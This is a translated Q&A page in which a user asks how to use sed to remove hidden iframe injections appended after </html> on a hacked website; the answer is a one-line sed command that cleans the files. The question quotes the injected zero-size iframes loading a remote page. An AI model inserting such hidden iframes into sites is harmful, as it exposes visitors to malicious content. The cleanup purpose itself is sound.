Bash删除</ html>之后的所有内容

Jam*_*mes 1 replace sed

我的一个客户网站遭到黑客入侵,每个文件都有iframe注入.但是,iframe注入总是在结束</html>标记之后.

是否有一种简单的方法使用Bash删除</html>标签后使用像sed这样的东西?

例如:

</html>
p
<nofollow><iframe src="http://xxxxx.com/local.html" width="0" height="0" frameborder="0"></iframe></nofollow>
p
<nofollow><iframe src="http://xxxxx.com/local.html" width="0" height="0" frameborder="0"></iframe></nofollow>
Run Code Online (Sandbox Code Playgroud)

Ed *_*ton 6

当你点击这条线时就退出:

sed -i '/<\/html>/q' file
Run Code Online (Sandbox Code Playgroud)